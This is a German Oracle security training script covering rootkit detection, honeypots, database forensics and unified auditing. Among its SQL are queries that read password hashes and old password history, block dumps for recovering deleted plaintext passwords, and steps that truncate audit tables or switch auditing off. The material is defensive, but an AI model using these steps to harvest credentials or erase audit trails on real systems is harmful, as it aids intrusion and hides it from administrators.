Security-Scanner, die jetzt dba_users mit user$ vergleichen, finden nun keine Differenz, aber auch keinen Hacker☺☺☺☺
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 27
Security II 6 - 27
Rootkit Version 2 aufspüren
Wir suchen eine Tabelle, die die gleichen Spalten h at wie user$
Wir vergleichen hier nur die Spalte Default Tablesp ace (DATATS#), die kommt an 5ter Stelle nur in user$ vo r
SELECT owner#,name,ctime from obj$ WHERE obj# in (select c1.obj# from col$ c1, col$ c2where (c1.name=c2.name and c1.col#=c2.col# and c1.name='DATATS#' )and c1.obj#<>c2.obj#);
owner# name ctime---- ------- ---------0 USER$ 29.06.140 USOR$ 18.10.14
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 28
Security II 6 - 28
Honeypot
Strategie um Hacker anzulocken.
Es wird eine Datenbank oder ein Account absichtlich unzureichend geschützt um Hacker aufzuspüren.
Beispiel:
SYSTEM/MANAGER Account wird die DBA Rolle entzogen
Audit für Create Session auf SYSTEM wird eingeschal tet
oder Logon Trigger verschickt eine Email an den DBA
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 29
Security II 6 - 29
Oracle W ürmer
Es existieren bereits Designer-Studien zu Oracle Würmern.
Diese verschicken die gehashten Oracle-Passwörter a n larry@oracle.com.
Dieser Wurm ist noch relativ harmlos, aber was brin gt die Zukunft?
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 30
Security II 6 - 30
Vorsichtsmaßnahmen
Alle Accounts prüfen und entweder gute/lange Passwö rter definieren oder Account locken/Passwort zerstören.
Listener mit Passwort schützen, Parameter ADMIN_RESTRICTIONS_{listener_name}=ON in listener. ora setzen
CREATE DATABASE LINK Recht aus der Connect Rolle entfernen (ab 10.2 bereits durch Oracle erledigt).
EXECUTE Recht auf utl_tcp, utl_file und utl_inaddr von Public entfernen.
GLOGIN.SQL Datei schützen, denn diese wird bei jede m Start von SQL*Plus ausgeführt (ab 10g bei jedem Neuconnec t).
MuniQSoft GmbH Kapitel 6 - Rootkits Security II 6 - 31
Security II 6 - 31
Security II 7 - 1
Kapitel 7Forensik
Security II 7 - 2
Was ist Forensik?
Forensik in der Datenverarbeitung beschreibt die Dokumentation von Einbrüchen oder verdächtigen Vorgängen in Systemen
Hier werden Beweismittel gesammelt und gesichert, d ie für eine Verfolgung oder Bestrafung von Straftaten notwendig sind
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 2
Stichwörter: Security; Allgemeines
Security II 7 - 3
Tools für die Forensik
Logminer (ab 8.1 bei Oracle kostenloses Tool zur Analysierung von Redolog-Inhalten)
Data Unloader (z.B. DUL von Oracle)
Oracle Block Dump
Hexeditor für Tablespacedateien / Oracle Blöcke
Flashback Funktionen (Flashback Query, Mülleimer)
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 3
Security II 7 - 4
Interessante Trace Files
Listener.log ($ORACLE_HOME\log\diag\tnslsnr\<rechner>\listener\trace)
listener.trc (s.o.)
Oracle Incident Dateien (ab 11.x)
Alert.log Datei
SYSDBA Audit Log (Windows: Eventlog)
Redologs/Archivelog
Im Betriebssystem: Win: Eventlog, Unix: /var/log/messages
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 4
Security II 7 - 5
Trace Views/Tables
V$... (GV$ bei RAC), CDB_... in Plug DB (ab 12c)
WRH$... (Temporäre Dateien)
Audit Views
SYS.USER$
SYS.MON_MODS_ALL$ (Inserts/Updates/Deletes auf Tabellen)
SYS.COL_USAGE$ (verwendete Spalten)
RECYCLEBIN (Wenn aktiviert, liegt hier der Mülleime r)
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 5
Security II 7 - 6
Vorgehensweise
Dateien / Traces / Ausgaben sammeln und auf einen sichern PC übertragen
Alternativ Daten ausdrucken oder auf DVD brennen
SPOOL forensik.txt
SELECT …..
SPOOL OFF
Wichtig:
Ihre Spurensuche kann andere Spuren verwischen, deshalb:
DB in READ Only Modus öffnen
oder Backup erstellen und mit diesem arbeiten
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 6
Security II 7 - 7
Befehle zur Überwachung
Letzte abgesetzte Befehle:
SELECT LAST_ACTIVE_TIME, PARSING_USER_ID, SQL_TEXT FROM V$SQLORDER BY LAST_ACTIVE_TIME ASC;
Audit-Informationen (Bis 11.2.0.4)
SELECT * FROM sys.aud$;
Audit-Informationen (Ab 12.1.0.1)
SELECT * FROM unified_audit_trail;
Session Informationen
SELECT SID, USER#, USERNAME, TERMINAL, OSUSER, PROGRAM, LOGON_TIME FROM V$SESSION;
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 7
Security II 7 - 8
Befehle zur Überwachung
Benutzer Account Status:
SELECT USER#, NAME, ASTATUS, PASSWORD, CTIME, PTIME, LTIME[,spare4 /* ab 12.1.0.1*/]FROM SYS.USER$ WHERE TYPE#=1;
CTIME= Erstellungsdatum des Accounts
PTIME = Datum der letzten Passwortänderung
SPARE4 = Letzte erfolgreiche Anmeldezeit
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 8
Security II 7 - 9
SYS.USER$
Interessante Spalten
LCOUNT
Anzahl der ungültigen Anmeldeversuche
Wird zurückgesetzt nach erfolgreicher Anmeldung
Maximale Anzahl durch Profile begrenzt
LTIME Sperrzeitpunkt des Benutzers
SELECT name,lcount,ltime FROM sys.user$WHERE lcount>0;
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 9
Was kann passieren:
LCOUNT nimmt große Werte an z.B.: >10.000. Brutforce Attacke oder Client verwendet falsches Passwort (z.B. Nagios Benutzer)
LCOUNT von verschiedenen Benutzern ist >0: Jemand versucht bis zu maximalen Anzahl von Fehlversuchen Acounts auszuspähen
Bei gleicher/ähnlicher LTIME: Jemand hat über verschiedene Accounts versucht, sich Zutritt zur DB zu verschaffen
Security II 7 - 10
Alte Passwörter
Wenn eine Passwort-History eingeschalten wurde (in den Profilen Password Reuse Max), können Sie dort die a lten Passwörter des Benutzers nachlesen:
SELECT * FROM sys.user_history$;
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 10
Security II 7 - 11
SYS.WRH$_ACTIVE_SESSION_HISTORY
Wichtige Spalten
SAMPLE_TIME (Aufzeichnungszeit)
PROGRAM (Welches Program wurde eingesetzt)
Machine (ab 11.2)(Von welcher Maschine kam der Benutzer)
Hinweis: Benötigt kostenpflichtiges Zusatzpaket (Tu ning & Diagnostic Pack)
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 11
Security II 7 - 12
Welche Programme haben sich angemeldet?
Hinweis: Die Spalte "Maschine" ist erst ab 11.2 verfügbar
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 12
Hinweis:
Der SELECT dazu:
select program, username, machine,
sum("7-18h") as "7-18h",
sum("18-7h") as "18-7h" FROM (
select program, username, machine,
case when hour between 7 and 18 then cnt end as "7- 18h" ,
case when hour < 7 or hour >18 then cnt end as "18- 7h"
FROM (
select program, username, machine, count(*) as cnt, to_char(trunc(sample_time,'HH'),'HH24') hour
from sys.wrh$_active_session_history w, dba_users d
where w.user_id=d.user_id (+)
and (lower(program) not like '%oracle%(%)%')
group by program, username, machine, to_char(trunc(sample_time,'HH'),'HH24')))
group by program, username, machine
Security II 7 - 13
Änderungen an wichtigen Tabellen
BEGINdbms_stats.flush_database_monitoring_info;END;
SELECT o.name,m.inserts, m.updates,m.deletes,m.timestampFROM SYS.mon_mods_all$ m, sys.obj$ oWHERE o.obj#=m.obj#AND o.owner#=0 and o.name IN ('USER$','AUD$','FGA_LOG$')
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 13
Hinweis:
Der Flush aktualisiert die Werte in der Tabelle.
Es erscheinen nur Zeilen, die geändert wurden (deswegen fehlt fga_log$)
Bei den Tabellen aud$ und fga_log$ sollte es niemals UPDATES und DELETES geben, sonst wurden die Tabellen manipuliert
Updates auf user$ bedeuten, das Passwort wurde geändert, oder der Account gesperrt/entsperrt
Ein Delete auf user$ löscht eine Rolle oder einen Benutzer
Security II 7 - 14
Weitere interessante Tabellen
Weitere interessante Tabellen, die überwacht werden könnten:
SYSAUTH$ (DBA_SYS_PRIVS, Inserts/Deletes auf Systemrechte)
OBJAUTH$ (DBA_TAB_PRIVS, Inserts/Deletes auf Objektrechte)
EXTERNAL_TAB$ (DBA_EXTERNAL_TABLES)
JAVA$POLICY$ (DBA_JAVA_POLICY)
LIBRARY$ (DBA_LIBRARIES)
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 14
Security II 7 - 15
Listener.log in External Table
CREATE DIRECTORY listener_log_dir as 'D:\oracle\diag\tnslsnr\goofymarco\listener\trace';
CREATE TABLE listener_log(log_date DATE,connect_string VARCHAR2(300),protocol_info VARCHAR2(300),action VARCHAR2(15),service_name VARCHAR2(15),return_code NUMBER(10))ORGANIZATION EXTERNAL …
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 15
Vollständige Syntax:create table listener_log(log_date date,connect_string varchar2(300),protocol_info varchar2(300),action varchar2(15),service_name varchar2(15),return_code number(10))organization external (type oracle_loaderdefault directory LISTENER_LOG_DIRaccess parameters(records delimited by newlinenobadfilenologfilenodiscardfilefields terminated by "*" lrtrimmissing field values are null(log_date char(30) date_formatdate mask "DD-MON-YYYY HH24:MI:SS",connect_string,protocol_info,action,service_name,return_code))location ('listener.log'))reject limit unlimited/
Security II 7 - 16
Auswertungen der listener.log
Welche Module haben sich angemeldet ?
SELECT count(*),connect_string FROM listener_logGROUP BY connect_string order by 1 desc;
Fehler im listener.log:
SELECT * FROM listener_logWHERE nvl(return_code,0) >0
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 16
Security II 7 - 17
Blöcke auslesen
Oracle löscht bei einem DELETE die Zeile nicht sofo rt im Block
Ein Update lässt (bei genügend Platz im Block) die Zeile stehen und erzeugt eine neue (geänderte Zeile)
Mit dem entsprechendem Hex-Editor kann man die Wert e wieder sichtbar machen
Interessant ist das für unverschlüsselte Passwörter
Mit folgenden Befehlen kann man einen Block dumpen
ALTER SESSION SET TRACEFILE_IDENTIFIER='DUMP';
ALTER SYSTEM DUMP DATAFILE 1 BLOCK MIN 209 BLOCK MAX 209;
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 17
Hinweis:
Mit folgendem Select bekommen Sie Blöcke der Tabelle user$ heraus:
SELECT distinct dbms_rowid.rowid_block_number(rowid )
FROM user$
ORDER BY 1
=>
209
210
211
212
213
Security II 7 - 18
Die SCN als Dokumentation des Zeitpunkts
Oracle verwendet bei jeden Befehl, um diesen auch zeitlich einzuordnen eine fortlaufende Nummer: die SCN
SCN steht für System Change Number
5 Tage lang wird die SCN in der Tabelle SMON_SCN_TIME gespeichert, danach werden die ältesten Einträge gelöscht
Jedoch bleiben die SCN´s für die Logswitches in der Tabelle V$ARCHIVED_LOG meist länger stehen (die zeitliche Zuordnung ist aber dafür nicht mehr so ge nau)
Alternativ kann auch Flashback Data Archive eingeri chtet werden, um die SCN ���� Zeitzuordnung länger durchzuführen
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 18
Security II 7 - 19
Checkpoint Nummer wandeln
Sie können die SCN Nummer in eine Uhrzeit umwandeln durch:
SELECT scn_to_timestamp(<SCN>) FROM dual;
Ein Uhrzeit kann (auf 3 Sekunden genau) in eine SCN umgewandelt werden mittels:
SELECT timestamp_to_scn('Uhrzeit') FROM dual;
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 19
Security II 7 - 20
SCN Nummern in Blöcken
Seit der Version 10.2 kann die jeweilige Block SCN Nummer ausgelesen werden durch:
SELECT ora_rowscn, t.* FROM tab t;
Bei einer Änderung einer Zeile im Block, ändert sic h für alle Zeilen im Block die SCN
Mittels einer Option, kann jedoch die SCN für jede Zeile eigens gespeichert werden.
CREATE TABLE t (id number) ROWDEPENDENCIES;
Leider lässt sich die Option nachträglich nicht meh r ändern
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 20
Security II 7 - 21
Interessante Auswertungen bzgl der SCN
Letzte Änderungen in den Blöcken, in denen Benutzerdaten gespeichert werden (dba_users)
SELECT scn_to_timestamp(ora_rowscn) ,u.*FROM sys.user$ u;
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 21
Hinweis:
Wenn die Zeitspanne zu lange zurückliegt, erhält man folgende Fehlermeldung:ORA-08181: Angegebene Zahl ist keine gültige SCN
ORA-06512: in "SYS.SCN_TO_TIMESTAMP", Zeile 1
08181. 00000 - "specified number is not a valid syst em change number"
*Cause: supplied scn was beyond the bounds of a valid scn.
*Action: use a valid scn.
Security II 7 - 22
Flashback Row History
Zeigt Änderungen durch Insert/Update/Delete und der en Zeitpunkt an:
SELECT versions_startscn START_SCN,to_char(scn_to_timestamp(versions_startscn),'DD.MM.YYYY Hh24:MI:SS') as start_time,versions_endscn END_SCN,versions_operation OP ,name as username,versions_xid XID FROM sys.user$VERSIONS BETWEEN SCN MINVALUE AND MAXVALUEWHERE versions_operation IS NOT NULL;
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 22
REM Änderungen in der Rechtevergabe:SELECT u.name as username,m.name as priv_name,s.* F ROM (
SELECT versions_startscn START_SCN,
to_char(scn_to_timestamp(versions_startscn),'DD.MM. YYYY Hh24:MI:SS') as start_time,
versions_endscn END_SCN,versions_operation OP ,gran tee#,privilege#,versions_xid XID
FROM sys.sysauth$
VERSIONS BETWEEN SCN MINVALUE AND MAXVALUE
where versions_operation IS NOT NULL) s, sys.user$ u,sys.system_privilege_map m
where s.grantee#=u.user#
and s.privilege#=m.privilege;
REM Deletes oder Updates auf aud$SELECT versions_startscn START_SCN,
to_char(scn_to_timestamp(versions_startscn),'DD.MM. YYYY Hh24:MI:SS') as start_time,
versions_endscn END_SCN,versions_operation OP ,vers ions_xid XID ,aud$.*
FROM sys.aud$
VERSIONS BETWEEN SCN MINVALUE AND MAXVALUE
where versions_operation in ('D','U');
Security II 7 - 23
Inhaltliche Änderungen feststellen
Bis auf V$ und GV$ Views kann über einen begrenzten Zeitraum die inhaltliche Veränderung einer Spalte beobachtet werden:
Beispiel: Passwort-Änderung:
SELECT name||'=>'||password||'#'||spare4 FROM sys.user$AS OF SCN <start_scn>MINUSSELECT name||'=>'||password||'#'||spare4 FROM sys.user$) AS old_pwd
MuniQSoft GmbH Kapitel 7 - Forensik Security II 7 - 23
Kapitel 8Unified Auditing
Security II 8 - 1
Audit bis Version 11.2
Default Auditing
Betriebssystem (ORACLE_BASE/ADMIN/<sid>/ADUMP)
Standard Auditing (Systemprivilegien, Befehle, Obje kte)
SYS.AUD$ oder OS in proprietärem Format oder XML
Fine Grained Auditing ((FGA) - Auditieren in Abhängi gkeit von Bedingungen in der EE)
SYS.FGA_LOG$ oder im OS in proprietärem Format oder XML
SYS Auditing
Betriebssystem
Database Vault Auditing
DVSYS.AUDIT_TRAIL$
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-2
Security II 8 - 2
Rückwärtskompatibilität
Die alten Audit Methoden (sys.aud$, sys.fga_log$) können weiter auch parallel verwendet werden (Mixed Mode)
Mixed Mode unterstützt sowohl die alte als auch die neue Audit-Methode
Sie sollten jedoch ab Version 12 auf UNIFIED wechse ln und die alten Methoden abschalten
Oracle plant den Support für die alten Audit Verfah ren in zukünftigen Oracle Versionen abzuschalten
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-3
Security II 8 - 3
Empfehlungen
Sie sollten die alte Audit-Einstellung deaktivieren
ALTER SYSTEM SET audit_trail=none SCOPE=SPFILE;
Datenbank durchstarten
Nach Sichtung der Informationen, können die folgend e Audit Tabellen mit TRUNCATE geleert werden:
sys.aud$
sys.fga_log$
dvsys.audit_trail$
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-4
Security II 8 - 4
Unified Auditing
Das Feature UNIFIED AUDITING fasst sämtliche Audit-Informationen an einer einzigen Stelle zusammen.
Dadurch ergeben sich einige Vorteile
Keine Parametereinstellung mehr notwendig
Bessere Übersicht und einfachere Sichtung der Audit -Informationen
Bessere Performance, was die Überwachung betrifft
ORADEBUG Benutzung wird auch überwacht
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-5
Hinweis:Auch wenn Unified Auditing "offiziell" ausgeschaltet wurde, sind Teile des Audits trotzdem IMMER aktiviert !!
Folgende Quellen für Audit-Informationen können zusammen gefasst werden:
•Audit Einträge (inkl. SYS Audits) aus Unified Audit Policies und allgemeinen Audit-Einstellungen •Fine-grained audit Einträge über das Package DBMS_FGA PL/SQL•Oracle Database Real Application Security audit Einträge•Oracle Recovery Manager audit Einträge•Oracle Database Vault audit Einträge•Oracle Label Security audit Einträge•Oracle Data Mining Einträge•Oracle Data Pump•Oracle SQL*Loader Direct Load
Stichwörter: Unified Auditing
Security II 8 - 5
Unified Auditing alleinig aktivieren
Ermittlung, ob Option bereits eingeschaltet (TRUE=e ingeschaltet oder FALSE=ausgeschaltet):
SELECT value FROM v$option WHERE parameter = 'Unified Auditing';
Bei FALSE muss Nutzung explizit aktiviert werden.
Dazu Instanz und Listener herunterfahren
Unter Unix Wechsel in $ORACLE_HOME/rdbms/lib, dann
make -f ins_rdbms.mk uniaud_on ioracle ORACLE_HOME=$ORACLE_HOME
Unter Windows in %ORACLE_HOME%\bin folgende Datei umbenennen
orauniaud12.dll.dbl in orauniaud12.dll
Listener und Instanz wieder starten
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-6
Interessante Views:
•UNIFIED_AUDIT_TRAIL•V$UNIFIED_AUDIT_TRAIL
Wenn Sie Unified Auditing wieder ausschalten möchten:UNIX:Alle DB Prozesse stoppen (Listener, DB, ..)make -f ins_rdbms.mk uniaud_off ioracle ORACLE_HOME=$ORACLE_HOMEAlle Prozesse wieder starten
Windows:Alle Dienste stoppenmove orauniaud12.dll orauniaud12.dll.dblAlle Dienste starten
Stichwörter: Unified Auditing
Security II 8 - 6
Unified Auditing Speichermethoden
Der Initialisierungsparameter UNIFIED_AUDIT_SGA_ QUEUE_SIZE regelt die Speichermenge, die der Hauptspeicher für die Audit Einträge zur Verfügung stellt
Speichergröße 1-30MB
Benutzer die Unified Auditing administrieren wollen , benötigen das Recht AUDIT SYSTEM oder die Rolle AUDIT_ADMIN
Die Auditdaten werden zuerst gecached und periodisc h in Tabellen gespeichert
Bei einem Shutdown abort könnten jedoch Einträge ve rloren gehen, deswegen unterstützt Oracle zwei Modi:
Immediate (sofort schreiben)
Queued Write (verzögert schreiben)
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-7
Hinweis
Die Audit Daten werden in einer partitionierten Tabelle im AUDSYS Schema im SYSAUX Tablespace gespeichert.Das AUDSYS Schema kann nicht gedropt werden.
Stichwörter: Unified Auditing; Speichermethoden
Security II 8 - 7
Unified Auditing Speichermethoden (f)
BEGIN DBMS_AUDIT_MGMT.SET_AUDIT_TRAIL_PROPERTY( DBMS_AUDIT_MGMT.AUDIT_TRAIL_UNIFIED, DBMS_AUDIT_MGMT.AUDIT_TRAIL_WRITE_MODE,
-- #1: Immediate WriteDBMS_AUDIT_MGMT.AUDIT_TRAIL_IMMEDIATE_WRITE-- #2: Queued Write (Default)DBMS_AUDIT_MGMT.AUDIT_TRAIL_QUEUED_WRITE); END;
Sofort auf Disk schreiben
BEGINDBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL;END;
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-8
Wenn Sie Daten direkt aus dem Speicher in die Tabellen flushen wollen:
Single Instanz:EXEC DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL;
Lokale RAC Instanz:BEGIN DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL(DBMS_AUDIT_MGMT.FLUSH_CURRENT_INSTANCE);END;
Alle RAC Instanzen:BEGINDBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL(DBMS_AUDIT_MGMT.FLUSH_ALL_INSTANCES);END;
Lokaler Pluggable DB Container:BEGIN DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL( CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_CURRENT); END;
Alle PDB ContainerBEGIN DBMS_AUDIT_MGMT.FLUSH_UNIFIED_AUDIT_TRAIL( CONTAINER => DBMS_AUDIT_MGMT.CONTAINER_ALL); END; Stichwörter: Unified Auditing; Speichermethoden
Security II 8 - 8
Wo wird das Audit gespeichert?
Oracle speichert die Audit Daten im Benutzer AUDSYS Tabelle CLI_SWP* (Name wird zufällig erzeugt)
Die Tabelle ist gegen DML und DDL Manipulationen geschützt
TRUNCATE TABLE AUDSYS."CLI_SWP$4de9718f$1$1"
ORA-55941: DML- und DDL-Vorgänge sind auf Tabelle "AUDSYS"."CLI_SWP$4de9718f$1$1" nicht zulässig
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-9
Security II 8 - 9
Unified Auditing: Rechte
Systemprivileg AUDIT SYSTEM
Darf das Auditing konfigurieren, aktivieren, de-akt ivieren, aber nicht auswerten
Rolle AUDIT_ADMIN
Darf das Auditing konfigurieren und auswerten
Rolle AUDIT_VIEWER
Darf nur den audit trail auswerten
Typischerweise für Auditoren verwendet
Eigentümer eines Objekts kann nicht mehr automatisc h
das Auditing selbst festlegen
die über seine Objekte gesammelten Audit Daten ausw erten
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-10
Security II 8 - 10
Unified Autiting Syntax
Syntax:
CREATE AUDIT POLICY policy [ privilege_audit_clause ] [ standard_or_component_clause ] [ role_audit_clause ] [ WHEN 'audit_condition' EVALUATE PER { STATEMENT | SESSION | INSTANCE } ] [ CONTAINER = { ALL | CURRENT } ] ;
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-11
privilege_audit_clause := PRIVILEGES privilege1 [, privilege2]role_audit_clause := ROLES role1 [, role2]
action_audit_clause := {standard_actions | component_actions} [, component_actions ]
Standard Actions:ACTIONS { { object_action | ALL } ON { DIRECTORYdirectory_name | MINING MODEL [ schema. ] object_name | [ schema. ] object_name } | { system_action | ALL } } [ { object_action | ALL } ON { DIRECTORYdirectory_name | MINING MODEL [ schema. ] object_name | [ schema. ] object_name } | { system_action | ALL } ]...
Komponent Actionscomponent_actions := ACTIONS COMPONENT=[OLS|XS] action1 [,action2 ] |ACTIONS COMPONENT=DV DV_action ON DV_object_name | ACTIONS COMPONENT=DATAPUMP [ EXPORT | IMPORT | ALL ] | ACTIONS COMPONENT=DIRECT_LOAD [ LOAD | ALL ]
WHEN 'audit_condition := function operation value_list' EVALUATE PER {STATEMENT|SESSION|INSTANCE}
Stichwörter: Unified Auditing; Syntax
Security II 8 - 11
Unified Auditing Syntax (f)
EVALUATE PER …
STATEMENT
Für jedes ausgeführte Statement wird ein Auditeintr ag erstellt
SESSION
Innerhalb wird nur einmal für ein ausgeführtes Stat ement ein Auditeintrag erzeugt
INSTANCE
Solange die Instanz läuft, wird Vorgehen nur einmal aufgezeichnet
CONTAINER =
ALL (Alle container einer Plugable Database)
CURRENT (nur der aktuelle Container)
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-12
Stichwörter: Unified Auditing; Syntax
Security II 8 - 12
Unified Auditing: WHEN Klausel
Nummerische Funktionen: BITAND, CEIL, FLOOR, POWER
String Funktionen: CONCAT, LOWER, UPPER, INSTR, LENGTH
Weitere Funktionen: SYS_CONTEXT, UID
Vergleichsoperatoren: =, !=, <>, <, >, <=, >=
Boolesche Operatoren: AND, OR
NULL Prüfungen: IS [NOT] NULL
[NOT] BETWEEN condition
[NOT] IN condition
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-13
Beispiele:
'SYS_CONTEXT(''USERENV'', ''CLIENT_IDENTIFIER'') = ''my_client'''
Stichwörter: Unified Auditing; WHEN
Security II 8 - 13
Beispiele zur WHEN Klausel
SELECT ANY TABLE und CREATE VIEW für zwei OS Benutzer (Marco , Hans ) überwachen:
CREATE AUDIT POLICY osusers_tab_view_pol PRIVILEGES SELECT ANY TABLE, CREATE VIEW WHENq'!SYS_CONTEXT ('USERENV', 'OS_USER') IN ( 'MARCO', 'HANS' )!' EVALUATE PER SESSION;
Alle Anmeldungen durch SQL*Plus überwachen:
CREATE AUDIT POLICY sqlplus_logon_pol ACTIONS LOGON WHEN q'!INSTR(UPPER(SYS_CONTEXT('USERENV', 'CLIENT_PROGRAM_NAME')), 'SQLPLUS' ) > 0!' EVALUATE PER SESSION;
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-14
Weitere Beispiele:
Wer nicht von den Hosts muenchen1 und muenchen2 kommt, wird überwacht bei einem UPDATE oder DELETE auf der EMP Tabelle:
CREATE AUDIT POLICY not_muc_logon_pol ACTIONS UPDATE ON scott.emp, DELETE ON scott.emp WHEN q'!SYS_CONTEXT ('USERENV'', 'HOST') NOT IN ('muenchen1','muenchen2')' EVALUATE PER SESSION;
Stichwörter: Unified Auditing; WHEN
Security II 8 - 14
Audit aktivieren
AUDIT { POLICY policy [ { BY user [, user]... } | { EXCEPT user [, user]... } ] [ WHENEVER [ NOT ] SUCCESSFUL ] } | { CONTEXT NAMESPACE namespace ATTRIBUTES attribute [, attribute ]... [, CONTEXT NAMESPACE namespace ATTRIBUTES attribute [, attribute ]... ]... [ BY user [, user] ... ] } ;
Beispiel:
AUDIT POLICY table_poli;
AUDIT POLICY dml_poli BY scott,marco;
AUDIT POLICY dml_poli EXCEPT hans,hilde ;
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-15
Stichwörter: Unified Auditing; aktivieren
Security II 8 - 15
Audit deaktivieren
NOAUDIT { POLICY policy | CONTEXT NAMESPACE namespace ATTRIBUTES attribute [, attribute ]... [, CONTEXT NAMESPACE namespace ATTRIBUTES attribute [, attribute ]... ]... } [ BY user [, user]... ] ;
Beispiel:
NOAUDIT POLICY table_poli;
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-16
Stichwörter: Unified Auditing; deaktivieren
Security II 8 - 16
Unified Auditing Beispiele
Beispiele:
CREATE AUDIT POLICY dml_poli ACTIONS DELETE on scott.emp, INSERT on scott.emp, UPDATE on scott.emp, ALL on scott.dept;
AUDIT POLICY dml_poli BY scott;
SELECT audit_option, audit_condition, object_schema, object_name, object_type
FROM AUDIT_UNIFIED_POLICIESWHERE policy_name=' DML_POLI';
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-17
Prüfen, welche Überwachungen eingeschaltet wurden:• SELECT audit_option,audit_condition,
object_schema,object_name,object_typeFROM AUDIT_UNIFIED_POLICIESWHERE policy_name='DML_POLI';
Stichwörter: Unified Auditing; Beispiele
Security II 8 - 17
Unified Auditing Beispiele
Überwachung der Rolle Resource durch Benutzer marco :
CREATE AUDIT POLICY aud_marco ROLES RESOURCE WHEN q'!SYS_CONTEXT('USERENV', 'MODULE') <> ('MARCO')!' EVALUATE PER STATEMENT ;
Überwachung für alle Benutzer bis auf Marco durchführen:
AUDIT POLICY aud_marco EXCEPT marco;
Überwachung für alle Benutzer bei nicht erfolgreich er Aktion durchführen:
AUDIT POLICY aud_marco WHENEVER NO SUCCESSFUL;
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-18
Security II 8 - 18
Unified Auditing Beispiele für Privilegien
Beispiele (Wann hat jemand diese Rechte genutzt?):
CREATE AUDIT POLICY table_poliPRIVILEGES SELECT ANY TABLE,CREATE ANY TABLE, DROP ANY TABLE;
AUDIT POLICY table_poli BY scott;
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-19
Weitere Beispiele:
Prüfen, welche Überwachungen eingeschaltet wurden:SELECT * FROM audit_unified_policies WHERE policy_name IN ('TABLE_POLI','DML_POLI');
Prüfen ob jemand ausser Benutzer 101,105 oder 110 DML Befehle auf der EMP Tabelle durchgeführt hat:CREATE AUDIT POLICY emp_updates_pol ACTIONS DELETE on scott.emp, INSERT on scott.emp, UPDATE on scott.emp WHEN 'UID NOT IN (101, 105, 110)' EVALUATE PER STATEMENT;
Stichwörter: Unified Auditing; Privilegien
Security II 8 - 19
Interessante Privilegien zum Audit
CREATE USER
ALTER USER
CREATE DATABASE LINK
ALTER DATABASE LINK
ALTER SESSION
ALTER SYSTEM
AUDIT ANY
AUDIT SYSTEM
BECOME USER
CREATE ANY DIRECTORY
CREATE ANY JOB
CREATE EXTERNAL JOB
CREATE JOB
CREATE LIBRARY
CREATE PUBLIC SYNONYM
DROP TABLESPACE
DROP ANY TABLE
DROP USER
EXEMPT ACCESS POLICY
EXEMPT DDL REDACTION POLICY
EXEMPT DML REDACTION POLICY
EXEMPT IDENTITY POLICY
EXEMPT REDACTION POLICY
EXPORT FULL DATABASE
GRANT ANY OBJECT PRIVILEGE
GRANT ANY PRIVILEGE
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-20
Weitere:GRANT ANY ROLEINHERIT ANY PRIVILEGESMANAGE SCHEDULERRESTRICTED SESSIONSELECT ANY TABLE
Stichwörter: Unified Auditing; Privilegien
Security II 8 - 20
Unified Autiting Beispiele für Packages
Beispiele:
Überwachen, ob SYS Rechte an UTL_FILE/UTL_TCP/UTL_SMTP vergibt:
CREATE AUDIT POLICY dbms_utl_grantsACTIONSGRANT ON UTL_FILE,GRANT ON UTL_TCPGRANT ON UTL_SMTP;
AUDIT POLICY dbms_utl_grants BY SYS;
Kapitel 8 - Unified AuditingMuniQSoft GmbH Security II 8-21
Weitere Beispiele:
Prüfen, welche Überwachungen eingeschaltet wurden:SELECT * FROM audit_unified_policies WHERE policy_name IN ('TABLE_POLI','DML_POLI');
Stichwörter: Unified Auditing; Packages
